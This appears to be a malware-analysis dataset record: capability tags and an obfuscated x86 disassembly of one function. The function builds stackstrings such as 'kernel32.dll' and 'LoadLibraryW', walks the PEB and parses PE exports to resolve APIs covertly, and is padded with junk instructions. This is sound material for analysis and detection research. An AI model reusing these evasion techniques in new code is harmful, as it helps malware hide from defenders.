Function at 0x42ae83
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
push edi
add esp, 4
or edx, 0xfee4
and edx, 0x10569
sub edx, 0xce38
and edx, 0x330f
pop edx
push ecx
add ecx, 0x84bb
add ecx, 0x10876
or ecx, 0x19f1
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4291c9
push esi
or esi, 0x146c3
or esi, 0xc30a
pop esi
push ebx
sub ebx, 0x71c
pop ebx
push esi
push edi
add esp, 4
sub esi, 0x5a0f
pop esi
push eax
sub eax, 0x119bc
pop eax
push eax
sub eax, 0x1851f
pop eax
jmp 0x4293f7
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push esi
and esi, 0x3a00
xor esi, 0x17397
or esi, 0x10e30
pop esi
push eax
push edx
add esp, 4
add eax, 0xd887
or eax, 0x934d
pop eax
push ecx
push esi
add esp, 4
sub ecx, 0x11b8f
pop ecx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x429278
push ecx
push esi
add esp, 4
jmp 0x429242
add ecx, 0x79ca
xor ecx, 0x10116
pop ecx
push edx
push edi
add esp, 4
and edx, 0x5e64
or edx, 0xde8f
xor edx, 0xb349
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4293a9
cmp dword [ebp - 0xc10], 0
jle 0x42939d
push edx
jmp 0x42928f
xor edx, 0xb0a6
add edx, 0xc37a
pop edx
push esi
push ebx
add esp, 4
and esi, 0x1577a
pop esi
push edx
jmp 0x4292b0
add edx, 0x15950
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x429339
push edi
xor edi, 0x9abc
jmp 0x4292db
and edi, 0x127a7
pop edi
push edi
call 0x4292f2
add byte [esi], dh
dec edx
push eax
inc edx
inc ecx
xor al, 0x37
xor eax, dword [ebx + 0x7eb04c4]
inc esp
inc ebp
xor eax, 0x3d354042
pop edi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x429321
mov dword [ebp - 0x14cc], 1
jmp 0x42932b
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x42939d
push ebx
push eax
add esp, 4
add ebx, 0x7cd2
call 0x429353
add byte [edi + edi + 0x3e], cl
aaa
inc edx
inc ecx
dec edi
dec ecx
add esp, 4
or ebx, 0xb0b8
pop ebx
push edx
and edx, 0x14d23
and edx, 0xd3b7
pop edx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x429278
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4293f2
push ebx
add ebx, 0xc055
add ebx, 0xf7e1
pop ebx
push ecx
push esi
add esp, 4
call 0x4293d4
add byte [edi + 0x48], cl
cmp byte [ebx + 0x35], al
cmp eax, 0x834b5034
les eax, [ecx + eax*4]
rol ecx, 0x92
add byte [eax], al
and ecx, 0xcaf9
pop ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x429433
jmp 0x429140
push esi
xor esi, 0x4aab
or esi, 0x183b9
add esi, 0x84e0
pop esi
push ecx
push ecx
add esp, 4
xor ecx, 0x14952
pop ecx
push esi
push esi
add esp, 4
sub esi, 0x14e8f
add esi, 0x251f
pop esi
mov dword [ebp - 0xa5c], 0
push ecx
xor ecx, 0xff9c
or ecx, 0x5370
or ecx, 0x16923
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0x7b70
sub ebx, 0xb08b
pop ebx
push esi
push edx
add esp, 4
and esi, 0xe0c
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
or eax, 0x65ff
sub eax, 0xb266
add eax, 0x6dd2
sub eax, 0x814a
pop eax
push edi
or edi, 0x112e
jmp 0x4294e2
pop edi
push edi
or edi, 0x7ba0
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
call 0x429594
add byte [ebx + 0x40], cl
inc ebx
cmp byte [eax + 0x3b], dl
dec ecx
dec edx
cmp byte [ebx - 0x1d7efb3c], al
int1
mov byte [eax], 0
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x10324
sub edi, 0xcd16
jmp 0x4295b5
pop edi
push esi
call 0x4295c4
add byte [ecx + 0x36], cl
inc ecx
cmp byte [eax + edx*2 + 0x38], cl
add esp, 4
or esi, 0x165f
sub esi, 0xda9f
pop esi
push edi
push ecx
add esp, 4
and edi, 0xe244
pop edi
push edx
add edx, 0xe8e1
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push esi
or esi, 0xf4f2
call 0x429627
add byte [0x3650483b], bh
inc ecx
cmp edi, dword [esi]
inc ebp
dec edx
add esp, 4
call 0x429638
add byte [ebp + 0x4a], al
xor bh, byte [edi]
xor dh, byte [edx]
aas
dec ebx
add esp, 4
and esi, 0x3291
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x42965a
mov dword [ebp - 0x2e0], 0
jmp 0x429916
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
call 0x42967d
add byte [edx], bh
cmp byte [edi], dh
inc ebx
dec ecx
xor eax, dword [ebx + eax*2 + 0x35]
dec eax
add esp, 4
or edi, 0x14fde
pop edi
push eax
or eax, 0x11808
pop eax
push edi
and edi, 0x253c
jmp 0x42969d
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x4296b6
mov dword [ebp - 0x2e0], 0
jmp 0x429916
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
sub edx, 0x16241
and edx, 0x6e56
call 0x4296dd
add byte [ebx], bh
dec eax
xor eax, 0x35363f44
add esp, 4
call 0x4296f0
add byte [ecx + 0x32], al
inc ecx
dec ecx
cmp dword ss:[edi], esi
cmp al, 0x45
add esp, 4
pop edx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
push eax
add esp, 4
and eax, 0x472
pop eax
push ebx
push esi
add esp, 4
sub ebx, 0x63c0
add ebx, 0x34a7
add ebx, 0x1e99
pop ebx
push ebx
and ebx, 0x10a49
or ebx, 0x12d96
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
xor esi, 0x17a28
pop esi
push ecx
jmp 0x4297be
sub ecx, 0x13913
pop ecx
push edx
and edx, 0x13fee
add edx, 0x10f90
or edx, 0xaaf2
add edx, 0x180ed
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x429802
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x429865
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x429721
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x429721
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x42984f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x429859
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4298ae
push edi
push eax
add esp, 4
sub edi, 0xe8b8
pop edi
push ebx
or ebx, 0x14194
or ebx, 0x3378
pop ebx
push ecx
push ecx
add esp, 4
or ecx, 0x17708
xor ecx, 0xa5bc
or ecx, 0xc680
pop ecx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x429916
push edi
sub edi, 0xf8fa
pop edi
push esi
push esi
add esp, 4
sub esi, 0xc46e
xor esi, 0x703
or esi, 0x5cfb
and esi, 0x9399
pop esi
push eax
push edi
add esp, 4
or eax, 0x8ed1
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x42990c
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4296c2
mov dword [ebp - 0x2e0], 0
push eax
call 0x429926
add byte [edi], bh
xor ecx, dword [edi + 0x34]
dec ecx
xor al, 0x34
cmp eax, 0xe804c483
or al, byte [eax]
add byte [eax], al
add byte [edx], dh
aas
cmp eax, 0x3743494a
cmp dword [eax - 0x7d], eax
les eax, [ecx + eax*4]
call fcn.0043f798
xor eax, 0x17012
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x42a261
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
push ecx
add esp, 4
add edx, 0xdb64
or edx, 0x16a11
pop edx
push ebx
or ebx, 0x20f2
or ebx, 0x724c
call 0x429a1c
add byte [ecx + 0x45], cl
inc ebp
dec edi
aas
cmp eax, 0xc4834335
add al, 0x5b
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
xor ecx, 0x4c8a
pop ecx
push edx
call 0x429ab8
add byte [esi + edi], dh
dec esi
xor esi, dword [edx]
xor al, 0x41
add esp, 4
add edx, 0x1417f
pop edx
push edi
push esi
add esp, 4
and edi, 0x15120
xor edi, 0xd9ca
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x429aec
mov dword [ebp - 0x6ec], 0
jmp 0x429da8
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
call 0x429b0b
add byte [esi], bh
dec esp
inc ebp
xor al, 0x4a
dec ebx
add esp, 4
pop eax
push ecx
push ecx
add esp, 4
call 0x429b21
add byte [0x4a4b3940], dh
xor al, 0x41
add esp, 4
jmp 0x429b29
and ecx, 0x8ce4
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x429b48
mov dword [ebp - 0x6ec], 0
jmp 0x429da8
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
sub ebx, 0x12dcb
pop ebx
push eax
push ecx
add esp, 4
add eax, 0xe126
add eax, 0x10adb
and eax, 0x473
and eax, 0xa85
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x76b1
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ecx
xor ecx, 0x169ca
xor ecx, 0x1472
add ecx, 0x8be5
pop ecx
push edx
push eax
add esp, 4
call 0x429bdb
add byte [ecx + 0x42], al
xor eax, 0x4c464744
dec edi
inc ebx
add esp, 4
and edx, 0x8892
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
push eax
add esp, 4
xor eax, 0x282c
sub eax, 0xdc67
sub eax, 0xff05
pop eax
push edx
xor edx, 0xa78a
or edx, 0x1e93
xor edx, 0x2cfb
or edx, 0x1be2
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x429c94
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x429cf7
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x429bb3
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x429bb3
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x429ce1
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x429ceb
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x429d40
push ecx
call 0x429d11
add byte [edx], dh
inc eax
xor edi, dword [eax]
aaa
cmp byte [eax + 0x39], cl
aas
xor eax, dword [ebx + 0xae804c4]
add byte [eax], al
add byte [eax], al
dec edi
aas
dec edi
dec edx
dec edx
aaa
cmp eax, 0x4c48336
jmp 0x429d2b
sub ecx, 0xa473
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x429da8
push ebx
push ebx
add esp, 4
xor ebx, 0xba3b
jmp 0x429d50
xor ebx, 0x56a5
and ebx, 0xc685
pop ebx
push edx
push ebx
add esp, 4
call 0x429d6e
add byte [ebx + 0x36], cl
inc ebp
dec esp
dec esp
xor eax, 0x5a04c483
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x429d9e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x429b54
mov dword [ebp - 0x6ec], 0
push edx
push ebx
add esp, 4
sub edx, 0x66f1
pop edx
push ebx
jmp 0x429dbe
or ebx, 0x12299
call 0x429dd0
add byte [ebx], dh
dec esp
xor edi, dword [ecx]
push eax
dec eax
add esp, 4
xor ebx, 0x10e9c
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x429e24
push esi
push ecx
add esp, 4
call 0x429df8
add byte [edi + 0x50], al
cmp byte [ebx], dh
dec esi
dec edi
dec edi
cmp dword [ebp + 0x50], ecx
add esp, 4
call 0x429e0b
add byte [0x43354545], dh
inc esi
dec ebp
xor esi, dword [edx + esi]
add esp, 4
add esi, 0x7cb9
pop esi
mov dword [ebp - 0x738], 0
jmp 0x42a94b
push esi
or esi, 0x1400e
or esi, 0xa150
pop esi
push esi
add esi, 0xd25b
jmp 0x429e42
call 0x429e52
add byte [edi + esi + 0x39], cl
dec ecx
push eax
push eax
push eax
dec ebp
dec ebp
dec eax
add esp, 4
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x429e95
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42a186
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x429ebd
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42a186
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x429eef
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x42a186
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x429f14
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x42a186
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x429f6e
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x42a17a
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x429fde
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x42a090
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x42a090
push eax
push edi
add esp, 4
xor eax, 0x1127a
sub eax, 0x3cf2
add eax, 0x124a9
pop eax
push edi
add edi, 0x14845
xor edi, 0x11667
add edi, 0x17b82
or edi, 0x7e14
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x42a082
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x42a089
jmp 0x429fcf
jmp 0x42a090
push esi
jmp 0x42a09a
pop esi
push edi
call 0x42a0ac
add byte [0x35473738], dh
dec edi
inc esi
inc esp
dec ecx
dec eax
add esp, 4
jmp 0x42a0b5
add edi, 0x135ea
or edi, 0x65d0
pop edi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x42a0ef
mov dword [ebp - 0xc30], 0
jmp 0x42a15e
push esi
jmp 0x42a0f7
add esi, 0xb5df
jmp 0x42a105
and esi, 0xa616
pop esi
push ebx
push edx
add esp, 4
jmp 0x42a11a
add ebx, 0xcdf4
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x42a154
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x42a15e
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x42a175
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x42a186
jmp 0x429f5f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x42a261
push ebx
push esi
add esp, 4
or ebx, 0x9d4c
xor ebx, 0x45dc
and ebx, 0xa4dd
pop ebx
push esi
call 0x42a1b9
add byte [edi], dh
dec eax
xor al, byte [esi + 0x50]
inc esi
dec esi
add esp, 4
pop esi
push esi
add esi, 0x4e65
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
push ebx
add esp, 4
sub edi, 0xc68d
add edi, 0x15916
or edi, 0x11faf
or edi, 0x13d92
pop edi
push ebx
xor ebx, 0x9a89
or ebx, 0x544a
sub ebx, 0x1363c
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x42a261
push ebx
or ebx, 0x29bf
call 0x42a236
add byte [esi], dh
inc edi
inc eax
dec edx
dec edi
inc eax
cmp dword [0x4c48332], esi
jmp 0x42a23e
call 0x42a24e
add byte [esi], dh
xor bh, byte [edx]
dec ebp
dec edi
cmp byte [ebx], dh
inc ebx
dec esp
add esp, 4
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x42a94b
push edi
and edi, 0x4137
pop edi
push ebx
push edx
add esp, 4
and ebx, 0x1838e
sub ebx, 0x17685
add ebx, 0xf954
pop ebx
push edx
push edi
add esp, 4
xor edx, 0x1588c
add edx, 0x37bc
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
or edx, 0xab1d
and edx, 0x119d6
pop edx
push eax
push edx
add esp, 4
or eax, 0x14747
sub eax, 0xa9f8
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x1a4b
sub ecx, 0x417c
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x42a304
mov dword [ebp - 0x2e0], 0
jmp 0x42a5ab
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
call 0x42a324
add byte [0x37494c34], dh
inc esp
dec edx
add esp, 4
pop esi
push ecx
push eax
add esp, 4
and ecx, 0x1758
jmp 0x42a33b
xor ecx, 0xd61f
and ecx, 0xd11d
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x42a360
mov dword [ebp - 0x2e0], 0
jmp 0x42a5ab
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
add edx, 0x17dab
sub edx, 0x16e7c
call 0x42a386
add byte [esi], dh
cmp byte [esi + 0x3e], al
aaa
inc esi
add esp, 4
pop edx
push eax
or eax, 0x15613
pop eax
push edx
push edx
add esp, 4
and edx, 0x617b
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
push edx
add esp, 4
add ecx, 0x17163
call 0x42a3e2
add byte [0x5037364e], dh
inc edi
cmp eax, 0xc4834938
add al, 0x59
push esi
add esi, 0x8236
pop esi
push ecx
push ebx
add esp, 4
and ecx, 0xff78
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push esi
add esp, 4
xor esi, 0x10d26
pop esi
push esi
push edx
add esp, 4
call 0x42a46e
add byte [edx + esi + 0x45], cl
cmp al, 0x43
dec esp
add esp, 4
pop esi
push edi
push edx
add esp, 4
jmp 0x42a47c
sub edi, 0x38a
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x42a4a0
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x42a4fa
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x42a3c8
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x42a3c8
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x42a4e4
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x42a4ee
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x42a543
push ecx
push eax
add esp, 4
or ecx, 0x4f19
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0xb09d
add ecx, 0x37df
sub ecx, 0xf28
add ecx, 0x43f7
pop ecx
push eax
and eax, 0xb63f
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x42a5ab
push edx
sub edx, 0x9728
xor edx, 0x14ea
xor edx, 0x1679e
pop edx
push esi
push esi
add esp, 4
sub esi, 0x8dff
add esi, 0xca99
or esi, 0xa6d4
and esi, 0x131cb
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x42a5a1
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x42a36c
mov dword [ebp - 0x2e0], 0
push ebx
push edi
add esp, 4
and ebx, 0x10b97
pop ebx
push ecx
xor ecx, 0x151d9
call 0x42a5cd
add byte [0x36373a4b], bh
dec ecx
dec edx
inc ebp
cmp eax, 0x8104c483
int1
mov byte [edi], ah
add dword [eax], eax
jmp 0x42a5dc
pop ecx
mov eax, dword [ebp - 0x2e0]
